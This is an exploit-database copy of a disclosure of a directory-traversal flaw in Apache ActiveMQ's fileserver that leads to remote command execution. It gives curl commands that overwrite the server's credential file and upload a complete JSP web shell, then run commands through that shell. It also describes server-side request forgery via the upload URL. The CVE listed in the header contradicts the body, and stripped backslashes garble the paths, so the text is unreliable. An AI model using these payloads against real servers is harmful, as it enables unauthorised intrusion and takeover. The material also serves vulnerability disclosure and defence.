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Apache ActiveMQ 5.11.1 / 5.13.2 Directory Traversal / Command Execution

CVE Category Price Severity
CVE-2014-7816 CWE-22 N/A Critical
Author Risk Exploitation Type Date
Pierre Ernst High Remote 2016-12-04
CPE
cpe:cpe:/a:apache:activemq:5.11.1-5.13.2
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016120017

Below is a copy:

Apache ActiveMQ 5.11.1 / 5.13.2 Directory Traversal / Command ExecutionI have recently been playing with Apache ActiveMQ, and came across a simple but interesting directory traversal flaw in the fileserver upload/download functionality. 

I have only been able to reproduce this on Windows, i.e. where "" is a path delimiter. 

An attacker could use this flaw to upload arbitrary files to the server, including a JSP shell, leading to remote code execution.
 
Exploiting Windows systems to achieve RCE The default conf/jetty.xml includes:

 <bean class="org.eclipse.jetty.security.ConstraintMapping" id="securityConstraintMapping">  
     <property name="constraint" ref="securityConstraint">  
     <property name="pathSpec" value="/api/*,/admin/*,*.jsp">  
   </property></property>  
 </bean>  

Effectively blocking the upload of JSP files into contexts that will allow them to execute. 
 
I imagine there are many ways around this; for my proof of concept I opted to overwrite conf/jetty-realm.properties and set my own credentials:
 
$ cat jetty-realm.properties hacker: hacker, admin
$ curl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..confjetty-realm.properties
 
This seems to have the disadvantage of requiring a reboot of the server to take effect. 

I am not sure if that is always the case, but if so, I'm pretty sure there is some other workaround that wouldn't require a reboot. 
The attacker can then take a standard JSP shell:
 
$ cat cmd.jsp 
 <%@ page import="java.util.*,java.io.*"%>  
 <%  
 %>  
 <HTML><BODY>  
 Commands with JSP  
 <FORM METHOD="GET" NAME="myform" ACTION="">  
 <INPUT TYPE="text" NAME="cmd">  
 <INPUT TYPE="submit" VALUE="Send">  
 </FORM>  
 <pre>  
 <%  
 if (request.getParameter("cmd") != null) {  
 out.println("Command: " + request.getParameter("cmd") + "<BR>");  
 Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
 OutputStream os = p.getOutputStream();  
 InputStream in = p.getInputStream();  
 DataInputStream dis = new DataInputStream(in);  
 String disr = dis.readLine();  
 while ( disr != null ) {  
 out.println(disr);  
 disr = dis.readLine();  
 }  
 }  
 %>  
 </pre>  
 </BODY></HTML>  
 
Upload it, exploiting the ".." directory traversal flaw to put it into an executable context:
 
$ curl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..admincmd.jsp
 
And pop a calc on the server:
 
$ curl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
 
Exploiting non-Windows servers
 
All attempts at directory traversal on a Linux system failed - encoded, double encoded, and UTF-8 encoded "../" were all caught by Jetty. Only ".." worked. 
That said, clients can specify the uploadUrl for a blob transfer, e.g.:
 
tcp://localhost:61616?jms.blobTransferPolicy.uploadUrl=http://foo.com
 
An attacker able to enqueue messages could use this to perform server side request forgery to an arbitrary uploadUrl target, even when running on non-Windows servers.
 
Resolution
 
The ActiveMQ project has released an advisory and patches. 

This is not the first instance of such a flaw in an open source Java application; CVE-2014-7816 comes to mind. 

It demonstrates that while Java may be platform independent, many developers are used to developing for a particular OS, and don't necessarily take cross-platform concerns into account.


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